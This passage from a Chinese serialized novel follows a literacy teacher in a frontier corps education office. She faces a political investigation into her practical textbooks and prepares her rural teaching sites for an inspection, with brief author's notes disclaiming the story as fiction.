“不重要了。”舒染给他倒了杯水,语气平静,“已经解决了。这种小事,我能处理。” 陈远疆看着她轻描淡写的样子,接过水杯,握在手里,指节有些发白。“下次再有这种事,第一时间告诉我。” “告诉你干嘛?让你去找人打架?”舒染挑眉看他,带着点戏谑。 “我有我的办法。”陈远疆哼了一声,“至少,不能让你白白受委屈。” “没受委屈。”舒染笑了,心里有点发暖,“你看,我不是挺好的?还趁机把自制教具推广了一把。现在估计没人再说我倒卖石膏粉了吧?那点东西,卖也卖不了几个钱。” 陈远疆看着她的笑容,确认她真的没有因为这些事情内耗,脸色终于缓和下来,伸手用力握了握她的肩膀:“你呀……”语气里是无奈,更是藏不住的欣赏。 他环顾了一下她这间整洁的宿舍,忽然说:“等忙过这阵,我找时间,帮你打个结实点的书架。我看你的书都快没地方放了。” 舒染顺着他的目光看去,心里一动,点了点头:“好。” 谣言的风波过去后,舒染的工作重心重新回到师资培训和扩增教学点以及建设上。她将各个教学点反馈回来的关于自制教具使用情况、以及教学中遇到的实际问题,整理汇编成一份详实的报告,提出了更具体、更具操作性的建议,再次提交给孙处长。 报告全是来自一线的数据和案例,以及经过实践检验的、成本极低的解决方案。孙处长看后,大为赞赏,特意在处务会上进行了宣读和讨论。 “舒染同志这份报告,沉下去了,抓住了真问题,想到了实办法!”孙处长敲着报告,“这才是我们教育科该干的事!光坐在办公室里喊口号,能解决孩子们急需的物资问题吗?能推动扫盲事业吗?” 吴建国等人低着头,没再吭声。 孙处长趁热打铁,将报告稍作修改后,以师部教育科的名义,下发至各团场,要求结合实际参照执行。同时,他也将报告副本呈送了兵团教育部张主任一份。 舒染知道,这算是她在师部教育系统内初步站稳了脚跟。她的务实风格,得到了顶头上司的公开肯定和推广。 就在她稍稍松口气时,一个意想不到的访客来寻她。 来人是阿迪力。近一年不见,这个曾经的莽撞少年又长高了不少,肩膀宽阔,眼神里褪去了青涩,多了份沉稳。他穿着半旧的军便装,风尘仆仆,手里提着一个羊皮口袋。 “舒老师!”在教育科办公室门口见到舒染,阿迪力眼睛一亮,大声喊道。 “阿迪力?你怎么来了?”舒染又惊又喜,连忙把他让进办公室,给他倒了水。 “我跟刘技术员来师部兽医站送报表,他让我顺便来看看您。”阿迪力有些腼腆地笑着,把羊皮口袋递过来,“这是我阿妈让我带给您的,风干肉,还有奶疙瘩。” “谢谢你阿妈,总是这么惦记我。”舒染接过袋子,心里暖暖的,“快坐下,跟我说说,你现在怎么样?跟着刘技术员学得如何?” 提到这个,阿迪力的话匣子就打开了。他说自己现在能认很多字了,能看懂兽药说明书的大部分内容,还能帮刘技术员记录简单的诊疗情况。他跟着刘技术员跑遍了附近的牧业点,不仅学习防治牲畜常见病,还帮着牧民们做些力所能及的事情。 “舒老师,您教我们认字,真的有用!”阿迪力眼神发亮,“上次,巴彦家的小羊羔拉肚子,我看了药瓶上的字,知道该怎么兑水,帮了他们大忙。还有,我能帮别的牧民大叔看连队发下来的通知了,他不用再到处求人念给他听。” 他看着舒染,语气无比认真:“舒老师,我想好了,我要好好学,以后就当兽医,或者像刘技术员那样,帮牧区的人解决问题。我们牧区,需要懂文化的人。” 舒染听着少年坚定的话语,看着他眼中闪烁的光芒,眼眶微微发热。 这就是她坚持的意义所在。不仅仅是教会几个字,几道算数题,而是点燃一个个理想的火种,让知识和文化在这片土地上传递下去,改变一个个孩子的人生,最终汇聚成改变边疆面貌的力量。 “阿迪力,你一定能行。”舒染郑重地说,“好好学,有什么困难,或者需要什么书,都可以来找我。” * 几天后,兵团教育部下发了一份紧急通知,要求各师立即组织学习最新指示精神。通知后面附了一份学习材料清单。 师部召开了全体干部大会进行传达学习。会上,气氛明显不同于以往。主持会议的领导语气严肃,反复强调一些词汇。 舒染坐在台下听着,手心微微出汗。她看到坐在前排的孙处长,背影挺直,但放在膝盖上的手,不时地握紧。 散会后,人们沉默地往外走,交谈声都压低了许多。 吴建国走到舒染身边,这次没有冷嘲热讽,反而带着一种难以言喻的表情,低声说:“舒组长,这次的风向可是不一样了。你那套理论,怕是……” 他没把话说完,摇了摇头,快步走开了。 舒染站在原地,看着周围行色匆匆、面色各异的人们,感到一股难以抗拒的力量正在逼近,她脚下这片刚刚站稳的基石,似乎开始晃动。 晚上,陈远疆来找她时,发现她坐在桌边,对着那份通知和学习材料发呆,脸色有些苍白。 “怎么了?”他关切地问,随手拿起一份材料翻了翻,眉头立刻锁紧。 “远疆,”舒染抬起头,“我做的这一切,是不是真的错了?是不是真的不符合现在的精神?” 陈远疆放下材料,走到她面前,蹲下身,平视着她的眼睛说:“你没错。你教孩子们认字、算数,你让牧区的孩子能看到更远的世界,你让阿迪力那样的孩子找到了人生的方向,这怎么会错?” “可是……”舒染看向那些材料。 “上面是上面,下面是下面。别草木皆兵!”陈远疆打断她,“边疆需要的是能建设家园的人!张主任为什么欣赏你?就是因为看到了你工作的实际效果!舒染,你不能怀疑自己。” 他握住她的手,她的手冰凉。“听着,风浪可能会很大,但越是这种时候,越要稳住。你做的事情,经得起考验。大不了……我们回畜牧连,你照样能教书育人。或者和我回……” 舒染似乎听出了什么,反问道:“和你回哪里?” 陈远疆不再说话,他看着舒染,半晌,说道:“我的意思是,不论你去哪里,我一直都在。” 舒染看着他的眼睛,那里有担忧,有关切,更有对她毫无保留的信任和支持。 “回畜牧连……”舒染眼前浮现出启明小学的场景。 “对,”陈远疆点头,“无论在哪里,你都能发光。但不能退缩,你可以选择最适合的战场。目前,师部这边,孙处长还在,张主任也还在任上,事情未必就到了最坏的地步。我们要做的,是冷静观察,谨慎行事,保护好自己,也保护好你辛苦建立起来的一切。” 舒染慢慢冷静下来。是的,不能自乱阵脚。她深吸一口气,反手握紧陈远疆的手。 “我明白了。该做的工作,我还要继续做。师资培训不能停,教学点的情况还要跟进。只是……方式方法上,可能需要更注意。” 陈远疆见她缓过来了,松了口气,站起身,揉了揉她的头发:“这就对了。我认识的舒染,可不是那么容易被打倒的。” 就在这时,宿舍门外传来急促的敲门声,伴随着宣传科小刘焦急的声音:“舒干事!舒干事你在吗?快开门!出事了!” 舒染和陈远疆对视一眼,心头同时一紧。 陈远疆快步走到门边,拉开房门:“什么事?” 小刘跑得气喘吁吁,脸色发白,也顾不上陈远疆为什么在这里,急声道:“舒干事,刚接到下面团里传来的消息,你们之前重点扶持的那个、红星岩牧业队的教学点……那个代课教师刘老师,被、被工作组带走了!说是……说他宣扬……哎!就是说用的教材有问题!” 舒染只觉得脑子里“嗡”的一声,猛地站了起来。 红星岩,那是她亲自选址、重点扶持的牧区教学点之一,刘老师是个踏实肯干的中年人,用的教材是她编写、师部教育科审核下发的油印本。 陈远疆原本靠在桌边,闻言立刻站直了身体,眉头锁死,眼神变得锐利。他没有立刻说话,目光先落在舒染瞬间苍白的脸上,然后转向小刘:“哪个工作组?师部的?团部的?说清楚。” “不清楚具体是哪个部门,听说是直接从上头下来的,到了红星岩连部,就直接把刘老师从课堂上叫走了,还拿走了舒组长主编的教材和练习本!” 小刘急急说道,“消息是红星岩连部通讯员偷偷传出来的,说问题很严重,牵扯到……牵扯到教材的……”小刘不敢往下说了,因为这消息也是他打探来的不具有准确性。 陈远疆仿佛猜测到什么,试探地问:“思想性?” 小刘欲言又止地点点头—— 作者有话说:这一章如果有表达不当之处,就当作者在胡写一个架空的平行空间吧…… 第134章 “思想性?”舒染重复着这三个字, 指尖有些发凉。她强迫自己冷静下来。不能乱,越是这样时候越不能乱。她弯腰捡起洒落在地上的报告纸,动作尽量放慢, 给自己思考的时间。 “舒染。”陈远疆帮着舒染一起捡地上的纸张,“你先别急。弄清楚情况再说。” “我大概能猜到个所以然。”舒染抬眼看他, 声音有些紧绷着,“工作组直接下来带人,绕过师部教育科, 这本身就不正常。” 陈远疆沉默一瞬,眼神复杂:“我帮你打听一下工作组的来历和下来的具体原因。” “不,”舒染立刻拒绝,语气斩钉截铁, “你不能插手。这是教育口的事情, 你是保卫处的, 插手反而授人以柄, 会把事情弄得更复杂。”她看着他, “这件事, 我必须自己处理。” 陈远疆看着她,看到她眼底的惊悸过后迅速转换的理智。他知道她说得对, 在这种敏感时刻,他的身份特殊, 贸然介入只会让水更浑,甚至可能给舒染带来麻烦。 他叹了口气, 最终点了点头:“好。我不明着插手。但你有任何需要的, 告诉我。”他顿了顿,补充道,“至少, 让我知道你是安全的。” “我知道。”舒染点点头,转向小刘:“小刘,谢谢你报信。这件事你先别声张,回去正常工作,就当不知道。” 小刘连忙点头,忧心忡忡地走了。 宿舍里只剩下他们两人。舒染走到桌边,从书架上翻出那本她主编的教材。 “教材是我编的,是审核通过的。”她像是在对陈远疆说,又像是在告诉自己,“每一页,每一个字,我都反复斟酌过,绝对没有任何政治问题。最多就是……更侧重实用,和生产结合得更紧密些。” “树大招风。”陈远疆言简意赅,他走到窗边,看着外面,“风向变了,总有人想借东风。” “我知道。”舒染闭上眼,深吸一口气,再睁开时,里面已经是一片沉静,“他们冲着我来的。刘老师是被我连累了。” “现在不是揽责任的时候。”陈远疆转过身,目光沉沉地看着她,“你打算怎么做?” “等。”舒染翻动着教材,“工作组既然来了,肯定会来找我。我等着他们来。在这之前,我要把我这里所有的底稿、审核记录、教学反馈,全部整理出来。” 她说着,立刻行动起来,打开抽屉和柜子,将一叠叠手稿、油印的审核意见单、还有她记录的各教学点情况汇总,全部放到桌上。 “我帮你整理。”陈远疆没有多说,直接拉过一把椅子坐下,拿起一叠稿纸,开始按照时间顺序归类。他对于如何处理这些文书十分得心应手。 舒染看了他一眼,没有拒绝。两人就在这间宿舍里,就着昏黄的灯光,整理着堆积的材料。 时间一点点过去,窗外天色完全黑透。舒染揉了揉发涩的眼睛,看向对面专注的男人。他低垂着眼睫,动作小心翼翼的,生怕弄皱了一张纸片。 “陈远疆,”她忽然开口,声音有些哑,“如果……我是说如果,这次我扛不过去……” 陈远疆抬起头,打断她:“没有如果。”他的语气笃定,“你扛得过去。我相信你的能力,也相信你做的事经得起查。” 他说到这里,声音低了几分“就算真到了最坏那一步,畜牧连那里总还能再收拾出来。我陪你回去。” 舒染鼻腔一酸,迅速低下头,假装整理纸张,闷声道:“谁要你陪,保卫处的副处长,跑去畜牧连带孩子,像什么话。” 陈远疆看着她,嘴角弯了一下,没再说话。 材料整理到半夜,分门别类,井井有条。舒染将所有可能与思想挂钩的段落都做了标记,旁边附上了当时编写的思路和依据,以及上级审核通过的意见。 “差不多了。”舒染直起腰,感觉后背僵硬酸痛。 陈远疆站起身:“我走了。你早点休息。明天无论发生什么,都要稳住。” “我知道。”舒染送他到门口。 陈远疆在门口停住脚步,回头看她,眼神深邃:“舒染,你不是一个人在往前走。” 门轻轻合上。舒染听着他的脚步声消失在走廊尽头,心里的波澜平复了许多。 第二天,舒染照常去教育科上班。她神色如常,甚至比平时更沉静几分。她先去找了孙处长,将昨晚整理好的材料目录和关键部分交给他看,并汇报了刘老师被带走的事情。 孙处长听完,脸色凝重,在办公室里踱了几步:“工作组是上边直接派的,绕开了师里。我也是刚得到确切消息。”他看向舒染,眼神里有关切,也有审视,“舒染,你的工作我是肯定的。但这次风向不对,你要有心理准备。” “我明白,处长。”舒染平静地说,“材料都在这里,我接受一切考验。” 一整天,教育科的气氛都有些微妙。吴建国几次想凑过来打探消息,都被舒染不冷不热地挡了回去。其他同事看她的眼神也充满了各种复杂的情绪,同情、担忧、幸灾乐祸,兼而有之。 舒染一概不理,只埋头处理手头积压的日常事务,联系各个教学点了解情况,仿佛什么都没有发生。 直到下午快下班时,两个穿着灰色中山装的生面孔出现在了教育科门口。 “哪位是舒染同志?” 科室里瞬间安静下来,所有目光都聚焦在舒染身上。 舒染从座位上站起身,脊背挺得笔直:“我是。” “我们是xxxx工作组的。”那人亮了一下证件,“关于教学点教材问题,请你跟我们走一趟,配合调查。” 工作组的临时办公室设在师部招待所最里面的一间套房。窗帘拉着,光线有些昏暗,舒染一走进去就觉得气氛有些压抑。 负责问话的还是那个为首的中年人,姓李,旁边坐着一个负责记录的年轻干事。 问话开始了。问题极其细致,甚至可以说是苛刻,紧紧围绕着舒染编写的教材内容。 “舒染同志,请你解释一下,在《实用扫盲读本(牧区版)》第三课,为什么选用‘如何识别毒草与牧草’作为教学内容?这一篇的思想性思路是?” 舒染神色不变,语气平和:“李组长,这份教材是针对牧区一字不识的成年牧民和流动性强的牧区儿童设计的。识别毒草和牧草,是他们在放牧生产中最直接、最迫切需要的知识。让他们学会认写这些字词,能直接避免羊群中毒死亡,减少财产损失。我认为,让群众掌握保护自身财产、发展生产的技能,本身就是体现我们制度优越性、巩固边疆建设最有效的方式之一。” 李组长盯着她,没说话。旁边的记录员飞快地写着。 “那么,关于这首《牧羊小调》,”李组长翻到另一页,“基调是否过于小资产阶级情调?是否还能加入更鲜明的革命元素?” “这是流传在牧区的传统民歌,孩子们耳熟能详。”舒染回答,“我们用熟悉的调子填入新词,教他们认识生字,更容易被接受。扫盲初期,兴趣和接受度是关键。如果一开始就灌输过于生硬的内容,可能会适得其反。我们计划在学员有一定基础后,再逐步加入更有思想深度的内容。” “逐步加入?也就是说,你认为思想教育可以逐步?而不是放在首位?” 舒染迎着他的目光,毫不退缩:“李组长,我认为对连基本汉字都不认识的群众来说,先让他们体会到学习文化有用,能解决他们生产生活中的实际困难,他们才会愿意坐下来听我们讲道理。如果连最基本的沟通工具都缺乏,再崇高的思想也无法有效传递。我坚持认为,在边疆牧区这样的环境,实用性是扫盲工作能够开展下去的基石,也是最终实现思想引领的前提。” 她的回答条理清晰,有理有据,每一句都紧扣着“边疆”、“牧区”、“生产实际”这些关键词,将自己所做的一切都锚定在“巩固边疆、服务群众”的大方向上。 问话持续了整整三个小时。问题越来越刁钻,试图从各个角度找到什么证据一般。 舒染始终沉着应对。她对教材编写的每一个字都了然于胸,对教学点的实际情况如数家珍。她不断引用牧民和连队职工的反馈,用实在的例子证明她的方法有效,赢得了群众的支持。 当李组长拿出一份据说群众举报信,举报内容说她编写的教材误导青少年时,舒染反而挺直了背脊。 “李组长,我不知道这封举报信来自哪位群众。”舒染的情绪稳定,“但我可以提供红星岩牧业队、以及我所负责的其他十几个教学点,近百名学员和家属的签字,他们可以证明,通过学习后生活发生了怎样的变化。如果这叫误导,那什么才是引导?是让他们继续当睁眼瞎才对吗?” 她的目光直视李组长:“或者,领导们可以亲自去这些教学点走一走,看一看,听听真正的基层群众是怎么说的。看看他们是因为学了几个字就变修了,还是日子过得更明白、对祖国更感激了?” 李组长显然没料到这个看起来文静秀气的年轻女人,如此有魄力,思路如此清晰,每一句话说得滴水不漏。 李组长又问了句:“舒染同志,你对我们的工作有什么质疑吗?” 舒染垂下眼睫,“我不敢。我只是在陈述事实。我相信组织,相信领导们会明察秋毫,不会冤枉任何一个真心实意为边疆、为群众做事的同志。” 谈话终于结束。李组长让她先回去休息,同时提醒她也许还会有进一步的谈话询问。 舒染走出招待所时,天色已近黄昏。她深吸了一口空气,感觉胸腔里那股憋闷感散去了一些。 她知道,第一轮交锋虽然结束了。但有些人显然不会轻易罢休。 回到宿舍楼下,她一眼就看到那个熟悉的身影。 舒染走过去。 陈远疆看到她,立刻站直身体,目光迅速在她脸上扫过,像是在确认她是否完好无损。 “怎么样?”他问。 “暂时没事。”舒染扯出一个笑容,“问题很有引导性,但我觉得我回答得不错。” 陈远疆的神色微松了一点,他“嗯”了一声,“饿不饿?食堂应该没饭了,我去给你弄点吃的。” “不用,”舒染摇摇头,“我宿舍里还有馕和奶茶粉。凑合一顿就行。”她看着他眼底的青色,问道,“你一直在这里等?” 陈远疆移开视线,看着远处:“……刚忙完,顺路过来看看。” 舒染知道他在说谎,也没有戳破。 “陈远疆,”她轻声说,“谢谢。” 陈远疆转过头看她,眼神里似乎有很多想说的,最终抬手拍了拍她的肩膀。 “上去吧,起风了。”—— 作者有话说:声明:本文是一部以特定历史时期为背景的虚构小说,在情节上进行了必要的艺术化处理,绝无抹黑、丑化任何时代背景下为国家与人民奉献的公职人员和集体形象的意图。 文中所有人物、情节均为艺术创作,请勿与现实历史对号入座哦~ 第135章 接下来的几天, 出乎意料的平静。 工作组没有再找舒染,教育科里那种窥探和紧张的气氛也似乎淡去了一些。 舒染每天按时上班,处理各教学点报上来的日常事务, 督促教材的修订进度,甚至去听了两次师资培训班的课。 在旁人看来, 她似乎已经从那天的冲击中恢复过来,重新变成了那个冷静的舒老师。 只有她自己知道,这份平静之下, 是日日绷紧神经。 现在的平静,更像是暴风雨来临前的间歇,是对方在寻找新的突破口,或者在等待某个时机。她不能坐以待毙。 白天, 她是一切如常的舒组长。 到了晚上, 回到那间宿舍, 她便开始为最坏的情况做准备。 第一个晚上, 她翻出了自己那个沉甸甸的樟木箱。里面除了几件舍不得穿的好衣服, 最重要的就是她自来到这个世界后, 积攒下的所有心血:教学笔记、自编教材的所有底稿、与各连队、牧区的通信、学生们的进步记录、还有陆续积攒的书籍和资料。 她坐在地上,就着灯光, 一份一份地仔细翻阅,然后进行分类。 一部分是她认为绝不能丢失的。比如她结合现代教育理念与当下实际, 偷偷写下的更系统、更前瞻的教育方法纲要,一些关于儿童心理的观察笔记, 以及她对未来基础教育体系的一些碎片化构想。 这些东西如果被工作组看到, 无疑会引来“思想异端”的麻烦。她用油布将这些笔记本仔细包好,塞进了床板下一个极其隐秘的缝隙里。 另一部分,是能够证明她工作成效和群众基础的。比如来自学生和家长、用各种纸张写来的感谢信, 有些还按着红手印。还有各连队请求设立教学点的申请报告副本,以及孙处长对她工作表示肯定的批示。这些是有朝一日能为自己辩护的材料,她整理好,放在一个单独的布包里,确保随时可以取用。 还有一些,是带有个人情感的。比如许君君写给她的信,王大姐和李秀兰送的鞋垫,孩子们偷偷塞给她的漂亮石头和干花,还有一些陈远疆给她的信。她摩挲着那张纸,犹豫了片刻,最终还是将它和其他几封可能会牵连到他的简短字条一起,用火柴点燃,看着它们化为灰烬。她的眼中映出一丝决绝。 处理完文字材料,她将必需的生活用品和几件结实的旧衣服打包成一个不大的行李卷,心里盘算着,如果真被发配去更艰苦的地方,这些就是她的全部家当。 在做这些的时候,她的心情异常平静,像一个即将远行的旅人,仔细地打理着行囊,计算着每一步的可能。 这天,她刚把最后一点痕迹清理干净,门口传来了轻轻的敲门声。是陈远疆。 他走进来,目光习惯性地在屋内扫视一圈,敏锐地察觉到一丝不同,但又说不出具体哪里变了。桌上依旧堆着文件,但似乎更规整了,一些零碎的小东西不见了。 “怎么样?”他照例问道。 “老样子,没动静。”舒染给他倒了杯水,语气轻松,“正好,我抓紧时间把积压的活儿干了干。” 陈远疆看着她,她的眼神里不见慌乱,反而有一种沉静。 他沉默了几秒,还是说了出来,“那个李组长是兵团那边某个部门调过来的,原则性强。他之前在其他师,也处理过类似的事情。” 舒染点点头,并不意外:“猜到了。不然也不会这么雷厉风行。” “舒染……”陈远疆看着她过于平静的脸,心里那股不安反而越来越重,“你有什么打算?” 舒染抬眼看他,忽然笑了笑:“打算?正常工作啊。难道还能跑了不成?”她的语气认真起来,“陈远疆,我记得你说过,根基稳,树不倒。我现在能做的,就是把根扎得更深一点。” 她没有明说,但陈远疆听懂了。她不是在坐等风暴过去,而是在风暴可能来临前,拼命地加固自己的阵地,清理可能被攻击的弱点,储备反击的资本。 陈远疆看着她,忽然觉得她好像无论身处何种境地,都能为自己寻找出路。 “好。”陈远疆将杯子里的水喝尽,像是许下一个承诺,“根扎深了,就没人能轻易撼动。” 他放下杯子,“畜牧连那边,王大姐托人捎信,说孩子们都很想你,问你什么时候有空回去看看。” 舒染感觉心头最柔软的地方被戳了一下。她抬起头,脸上漾开一个笑容:“帮我告诉他们,等我忙完这阵子就回去。” 陈远疆走后,舒染脸上的笑容慢慢收敛。她走到窗边,看着外面沉沉的夜色。 她知道,陈远疆是在用他的方式告诉她,无论发生什么,她还有一个可以回去的地方,还有一群惦念着她的人。 舒染回到桌边,摊开一张新的信纸。她要以私人名义,给几个核心教学点的负责人和熟悉的连队领导写信,语气如常地询问近况,交流教学心得,只字不提工作组。 她要让这些散布在各处的人脉继续保持活力,并在必要时,能发出自己的声音。 又过了两天,舒染不再满足于处理报表和下发通知,而是开始了一场巡访。她利用下班后和周末的时间,骑着从后勤科借来的那辆旧自行车,车后座夹着一个鼓鼓囊囊的帆布包,里面装着笔记本、几个馕和一壶水。 她的目的地是师部周边几个她建立和指导过的教学点,尤其是那些由她培训过的代课老师负责的位置相对偏僻的点。 第一个周末,她去了靠近戈壁滩边缘的教学点。这里的代课老师是个叫韩春梅的年轻姑娘,以前是连队的文艺骨干,识字不多但很有灵性,是舒染手把手教出来的。 舒染到的时候,正是下午课间。孩子们在土院子里追逐打闹,韩春梅正蹲在教室门口,用一根树枝在地上写字,几个孩子围着她看。 “舒老师!”韩春梅一抬头看见她,惊喜地跳起来,眼圈却红了。红星岩刘老师被带走的消息,早已在这些基层教学点之间悄悄传开,恐慌在蔓延。 舒染拍拍她的肩膀,语气如常:“春梅,课上得怎么样?孩子们还跟得上吗?” “还……还行。”韩春梅吸了吸鼻子,强打起精神,“就是……就是有点怕。” “怕什么?”舒染拉着她走到背风的墙根,“你教的每一个字,都是有用的。这就是成绩。谁来了也否定不了。” 她从帆布包里掏出一叠新的生字卡片,是她昨晚熬夜用废报表纸裁切后写的,内容结合了最近春播的农活词汇。“给,用这个。就从这几个词开始教。” 韩春梅接过卡片,像是握住了主心骨,用力点头:“嗯!我听您的,舒老师!” 舒染又问了问最近家长们的反应,有没有人来说闲话,连队领导态度如何。韩春梅一一说了,有些担忧地说:“连长前几天倒是来过一次,没说什么,就看了一圈走了。” “没说话就是好事。”舒染分析道,“说明连里也在观望。你把孩子们教好,让家长们看到好处就够了。” 她在这里待到天黑,听韩春梅上了一堂课,指出了几个可以改进的小细节,又跟几个留下来玩耍的孩子聊了聊,检查了他们用石灰块在石板上写的字。临走时,她塞给韩春梅一小包水果硬糖:“奖励表现好的孩子。放心吧,天塌不下来。” 韩春梅握着那包糖,看着舒染推着自行车消失在暮色的背影,心里那股不安感忽然就减轻了许多。 接下来的几天,舒染又用同样的方式,走访了附近几个家属扫盲班。她观察、倾听、记录,给出具体而微的教学建议,肯定每一位代课老师的付出,反复强调他们工作的价值。 这些行动效果显著。恐慌的情绪在这些最基层的教学点被有效地遏制了。代课老师们重新找到了主心骨,家长们看到老师依旧认真,孩子依旧在学,也就渐渐安下心来。一股无形的力量正在基层默默凝聚。 这天下午,她在连队家属区的扫盲班听完课,正推着自行车出来,就看见陈远疆和两个保卫干事站在连部门口,似乎在交代什么事情。 舒染推车的动作顿了一下,想装作没看见悄悄绕过去。 “舒老师。”陈远疆的声音已经传了过来。 舒染只好停下,推车走过去:“陈副处长。” 陈远疆对那两个干事挥了下手,两人和舒染打了招呼后离开。他这才转向舒染,目光落在她自行车后座那个沾着泥土的帆布包上。 “从哪儿回来?” “扫盲班,去看看上课情况。”舒染像在汇报工作。 陈远疆看了看她被风吹得有些乱的头发,“最近外面不太平,工作组还在师部,你一个人往下面跑,不安全。” “大白天的,路上都是人,能有什么事。”舒染拍了拍车座,“而且,这是我的工作。” “工作可以等风头过了再做。”陈远疆的语气带着不容置疑,“或者,让教育科派男同志下去。” 舒染看他,神色有些认真:“陈副处长,工作组查的就是我的工作。我停下来,岂不是更显得我心里有鬼?越是这种时候,越不能停。” 陈远疆看着舒染倔强的眼神,知道劝不动。他沉默了一下,忽然伸手,从军装上衣口袋里掏出一个小油纸包,递给她。 “什么?”舒染没接。 “路上碰到炊事班采购车,顺便带的烤洋芋片。垫垫肚子。” 那油纸包还带着一点温热。舒染心里那点因他阻拦而升起的不快消散了些。她接过来,“谢谢。” “回师部吗?顺路。”陈远疆说着,已经迈开步子往前走,速度不快,刚好能让推着车的舒染跟上。 这时,连部的通信员小跑着过来。 “舒老师!师部电话,找您的,说是急事!” 舒染跟陈远疆交代了两句,便跟着通信员去了连部。 电话是教育科的小张打来的:“舒老师!您在哪儿呢?快回来吧!出大事了!” “什么事?” “上面的上面要来核查扫盲成效了!正式通知刚到孙处长桌上!处长让科里所有人都赶紧回来开会!”小张的声音又快又急,“听说这次核查结果,直接关系到全省的评比和资源分配呢!” 舒染握着话筒的手指微微收紧,沉默了两秒,才开口,声音听不出什么波澜:“好,我知道了。我这边忙完就回去。” 挂了电话,她站在原地一直没动。通信员好奇地看着她,觉得这位舒老师接了这么重要的电话,脸上却没什么喜色,真是奇怪。 过了会,舒染谢过通信员,推着自行车走出去。 统计组……扫盲成效核查…… 机会来了,但能不能抓住,能不能将危机彻底转化为转机,甚至更进一步,就看接下来的准备了。 她在路边停下,从帆布包里拿出笔记本和铅笔,就着车座,快速写下几个关键词:数据核实、重点教学点梳理、代课老师培训、成果展示形式…… 她写得很快。写完后合上笔记本,抬起头望向师部的方向。 回到教育科,果然一片忙乱。孙处长正在大办公室里讲话,语气激动,要求全科立刻动员起来,全力以赴迎接核查。 看到舒染进来,孙处长目光落在她身上,顿了顿,语气缓和了些:“舒染回来了正好。你负责的流动教学点和基层扫盲是这次核查的重点,你立刻把相关材料整理出来,要确保数据准确,成效突出!” “是,处长。”舒染平静地应下,走到自己的办公桌前坐下,开始翻找资料。 旁边的吴建国凑过来,“舒老师,这次可是露脸的好机会啊。不过……工作组那边,不会有什么影响吧?”他压低了声音,但周围几个竖着耳朵的同事都听得见。 舒染抬起头,看了他一眼,“吴干事,工作组调查的是具体问题,统计组核查的是整体成效,这是两码事。我相信组织,也相信我们这些年的工作,经得起任何形式的检验。” 她声音不高不低,恰好能让办公室里的人都听到。吴建国一时说不出什么,只能讪讪地坐了回去。 舒染埋头开始工作,她知道自己现在必须争分夺秒。 第136章 几天后, 舒染正在伏案工作,办公室的门被猛地推开,孙处长一脸凝重地走了进来, 身后还跟着脸色发白的干事小张。 “舒染!”孙处长声音急促,“刚接到的紧急通知!上面派下来的扫盲成效统计组提前下来了!后天就到!” “什么?”舒染猛地站起身, “后天?怎么这么突然?” “文件上说,是为了确保数据的真实性和突击性,防止下面弄虚作假。”孙处长把一份加急文件拍在桌上, 眉头拧成了疙瘩,“点名第一站就是我们师!要实地核查,特别是你负责的那些流动教学点和扫盲班!” 舒染快速拿起文件,一目十行地扫过。太巧了, 红星岩刘老师刚被带走, 统计组就提前到来, 目标直指她的工作成果。这绝不是巧合。 “我们准备的那些材料……”小张急得快哭了, “很多数据还没最终核实, 各连队的汇报也没收齐……” “慌什么!”舒染打断他, 她镇定下来,大脑飞速运转。 “小张, 你立刻去做三件事。”舒染语速快而清晰,“首先, 马上打电话通知我们所有有固定教学点的连队,让负责的老师把最近的考勤记录、学员作业本、哪怕是最简单的成绩记录, 全部整理好, 统计组可能会抽查。” “其次,联系各团部教育干事,把我们之前下发的那套简化统计表格, 让他们立刻填报,最晚明天中午前,必须送到师部!” “最后,你去后勤科,把我们之前申请备用的铅笔、本子、粉笔,全部领出来,分成几份,随时备用。” “是!舒干事!”小张像是找到了主心骨,立刻跑了出去。 孙处长看着舒染,眼中闪过一丝赞赏,但担忧更甚:“舒染,时间太紧了,而且红星岩那边……” “处长,”舒染看向他,“统计组要看的是成效,是减少了多少文盲。刘老师的事,是另一码事。只要我们拿得出过硬的成绩,谁也否定不了。” “你说得对。”孙处长定了定神,“需要处里怎么配合?” “请您坐镇师部,协调各团,确保数据能及时报上来。同时,”舒染想了想,“我想请处长以师部名义,给统计组发一份正式函,表示我们热烈欢迎,并附上我们初步整理的全师扫盲工作概况和数据摘要——就用我们上次准备参加兵团会议的那份底稿,数据是现成的,虽然不够细致,但先让他们有个印象。” “好!我马上让人去办!”孙处长点头,“你呢?” “我?”舒染抓起挂在椅背上的外套,利落穿上,“我现在就去我亲自抓的那几个教学点。统计组不是要看实地吗?我就让他们看最真实的情况。” “你一个人?要不要派个人跟你一起去?” “不用。”舒染系好扣子,“人多了反而扎眼。我一个人,行动快。处长,帮我安排一辆去X团的便车,越快越好。” 半小时后,舒染已经坐在了一辆摇摇晃晃的装满物资的卡车驾驶室里。司机是个沉默寡言的老兵,只知道奉命把她送到X团三连附近。 舒染靠在车窗上,闭着眼,脑海里飞速掠过她负责的各个教学点的情况。X团三连、Y团畜牧连、还有……红星岩。红星岩现在是敏感地带,不能去,但周边的几个牧区教学点,必须稳住。 她摸了摸随身携带的帆布包,里面装着她的笔记本、一些空白表格、几支钢笔,还有一小包陈远疆给她的压缩饼干。 卡车在距离X团三连还有五六里地的岔路口把舒染放了下来。天色已经暗下,戈壁滩上昼夜温差极大,冷风已经吹来。 “舒干事,真不用送您到连部门口?”司机老李有些不放心。 “不用,李师傅,谢谢你。我从这边抄近路去教学点,更快。”舒染紧了紧围巾,把帆布包背好,语气坚决。 老李叹了口气,递过来一个军用水壶和一把老式手电筒:“夜里路不好走,拿着。完事了来连部招待所歇脚,我跟值班的说好了。” “多谢。”舒染没有推辞,接过东西,转身便踏上了那条被车轮碾出的通往牧区的小路。 手电筒的光柱在黑暗里显得微不足道,只能照亮脚前方寸之地。四周黑暗,偶尔传来不知名动物的窸窣声。 舒染深一脚浅一脚地走着,心脏狂跳,一半是有些冷,一半是孤身行走在旷野的恐惧。 统计组后天就到,时间刻不容缓。三连的这个牧区教学点,是她最早设立的几个点之一,负责的老师是当地一个读过几年书的支边青年,叫姜咏红。她必须尽快赶到那里,稳住他,确保统计组来时不出纰漏。 不知走了多久,脚底已经磨得生疼,小腿也像灌了铅。她停下来,拧开水壶喝了一口,脑子清醒了不少。 又坚持走了一阵,远处终于出现了微弱的灯火光点。舒染精神一振,加快了脚步。 那是几间低矮的土坯房围成的小小聚居点。她径直走向最边上那间亮着煤油灯的房子,敲了敲门。 “谁啊?”里面传来一个警惕的女声。 “姜咏红老师吗?我是师部教育科的舒染。” 屋里一阵窸窣,门吱呀一声开了条缝,姜咏红那张带着惊讶的脸露了出来。“舒干事?您……您怎么这么晚来了?” 